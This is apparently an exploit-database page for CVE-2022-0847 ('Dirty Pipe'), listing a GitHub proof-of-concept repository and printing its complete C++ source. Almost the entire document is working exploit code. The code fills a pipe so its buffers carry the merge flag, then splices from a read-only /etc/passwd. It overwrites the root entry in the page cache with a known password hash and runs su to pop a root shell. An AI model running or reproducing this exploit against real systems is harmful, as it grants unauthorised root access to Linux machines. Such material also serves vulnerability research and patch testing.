Exploit database

GH-83ecb56a6903748d20f922ddb3e947ca

mephierr/dirtypipe_exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-0847

111 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
mephierr/dirtypipe_exploitRevision 4d3669fbbaa4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.cpp

C++ · 4,565 bytes
#include <iostream>
#include <fstream>
#include <cstring>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdexcept>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2]) {
    if (pipe(p)) {
        throw std::runtime_error("Pipe creation failed");
    }

    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];

    // Fill the pipe completely; each pipe_buffer will now have
    // the PIPE_BUF_FLAG_CAN_MERGE flag
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }

    // Drain the pipe, freeing all pipe_buffer instances
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
}

/**
 * This function is used to copy a file (e.g., /etc/passwd) to another file.
 */
void copy_file(const std::string &src, const std::string &dst) {
    std::ifstream src_file(src, std::ios::binary);
    if (!src_file) {
        throw std::runtime_error("Failed to open source file");
    }
    
    std::ofstream dst_file(dst, std::ios::binary);
    if (!dst_file) {
        throw std::runtime_error("Failed to open destination file");
    }

    dst_file << src_file.rdbuf();
}

int main() {
    try {
        const std::string path = "/etc/passwd";
        const std::string backup_path = "/tmp/passwd.bak";

        std::cout << "Backing up /etc/passwd to /tmp/passwd.bak ...\n";
        copy_file(path, backup_path);

        loff_t offset = 4; // after the "root"
        const std::string data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 
        std::cout << "Setting root password to \"aaron\"...\n";

        const size_t data_size = data.size();

        if (offset % PAGE_SIZE == 0) {
            std::cerr << "Sorry, cannot start writing at a page boundary\n";
            return EXIT_FAILURE;
        }

        const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
        const loff_t end_offset = offset + static_cast<loff_t>(data_size);
        if (end_offset > next_page) {
            std::cerr << "Sorry, cannot write across a page boundary\n";
            return EXIT_FAILURE;
        }

        // Open the input file and validate the specified offset
        int fd = open(path.c_str(), O_RDONLY); // yes, read-only!
        if (fd < 0) {
            throw std::runtime_error("Open failed");
        }

        struct stat st;
        if (fstat(fd, &st)) {
            throw std::runtime_error("Stat failed");
        }

        if (offset > st.st_size) {
            std::cerr << "Offset is not inside the file\n";
            return EXIT_FAILURE;
        }

        if (end_offset > st.st_size) {
            std::cerr << "Sorry, cannot enlarge the file\n";
            return EXIT_FAILURE;
        }

        // Create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE
        int p[2];
        prepare_pipe(p);

        // Splice one byte from before the specified offset into the pipe
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], nullptr, 1, 0);
        if (nbytes < 0) {
            throw std::runtime_error("Splice failed");
        }
        if (nbytes == 0) {
            std::cerr << "Short splice\n";
            return EXIT_FAILURE;
        }

        // The following write will not create a new pipe_buffer, but instead write into the page cache
        nbytes = write(p[1], data.c_str(), data_size);
        if (nbytes < 0) {
            throw std::runtime_error("Write failed");
        }
        if (static_cast<size_t>(nbytes) < data_size) {
            std::cerr << "Short write\n";
            return EXIT_FAILURE;
        }

        char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);

        std::cout << "system() function call seems to have failed :(\n";
        return EXIT_FAILURE;
    } catch (const std::exception &e) {
        std::cerr << "Error: " << e.what() << std::endl;
        return EXIT_FAILURE;
    }
}